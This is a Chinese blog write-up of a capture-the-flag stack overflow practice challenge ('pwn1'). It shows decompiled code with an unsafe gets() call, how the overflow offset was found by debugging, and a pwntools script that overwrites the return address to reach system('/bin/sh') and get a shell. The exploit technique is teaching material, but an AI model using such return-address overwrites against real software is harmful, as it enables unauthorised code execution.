zoukankan      html  css  js  c++  java
  • 栈溢出-pwn练习1

     1 int __cdecl main(int argc, const char **argv, const char **envp)
     2 {
     3   char s; // [esp+1Ch] [ebp-64h]
     4 
     5   setvbuf(stdout, 0, 2, 0);
     6   setvbuf(_bss_start, 0, 1, 0);
     7   puts("There is something amazing here, do you know anything?");
     8   gets(&s);
     9   printf("Maybe I will tell you next time !");
    10   return 0;
    11 }

    打开IDA,发现第8行有gets函数。

     1 void secure()
     2 {
     3   unsigned int v0; // eax
     4   int input; // [esp+18h] [ebp-10h]
     5   int secretcode; // [esp+1Ch] [ebp-Ch]
     6 
     7   v0 = time(0);
     8   srand(v0);
     9   secretcode = rand();
    10   __isoc99_scanf((const char *)&unk_8048760, &input);
    11   if ( input == secretcode )
    12     system("/bin/sh");
    13 }

    然后发现有system("/bin/sh"),所以就可以直接利用gets函数覆盖返回地址,转到这里就可以拿到shell了。

    在这里可以看到,要溢出的变量s,在ida中显示的位置是ebp-64h,但是实际上通过动态调试,才知道这个数不对。

     在这里输入的数据是0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901AAAA,从图中可以看到,输入位置的栈帧与ebp的距离有6C字节。

    接下来就要写脚本了,首先我是把这个secure函数的首地址作为返回地址去进行覆盖的(即这里的080485fd)。结果发现不行,然后就再看这个函数的反汇编。

     当时就想着再次进行栈溢出覆盖,把这里的if给绕过,后来试了好多次,也没成功。原因可能是这个scanf虽然能够接受任意长度的变量,但这里的参数是%d,也就是说只能输入整数,所以即使再怎么输入,也只能正常的输入4个字节数据。当然也有可能是我构造的payload不对。总之没有成功。

     后来才知道,直接把返回地址改成这个system函数开始的地方就可以了,根本用不着绕过啥的。

    1 from pwn import *
    2 io=process('./pwn1')
    3 payload=b'A'*112+p32(0x0804863A)
    4 io.send(payload)
    5 io.interactive()

    这个题给我的启发挺大的,之前的思维定势太大了,看到需要返回函数地址的,就习惯性的把首地址传过去,但是实际上,只要是正常的汇编指令,修改一下eip,都可以直接执行。

  • 相关阅读:
    RPC、HTTP、IDL
    秋招拿了7个offer,分享一些反思和经验
    “功能测试”到“测试开发”升级之路
    Github最全买房租房攻略,火了!
    王垠:怎样尊重一个程序员?
    为什么曾经优秀的人突然变得平庸?
    你这么努力,为什么能力提升还这么慢?
    打工人到什么状态,就可以离职了?
    怎样才能迅速晋升?
    如何做个优秀的经理?
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14099939.html
Copyright © 2011-2022 走看看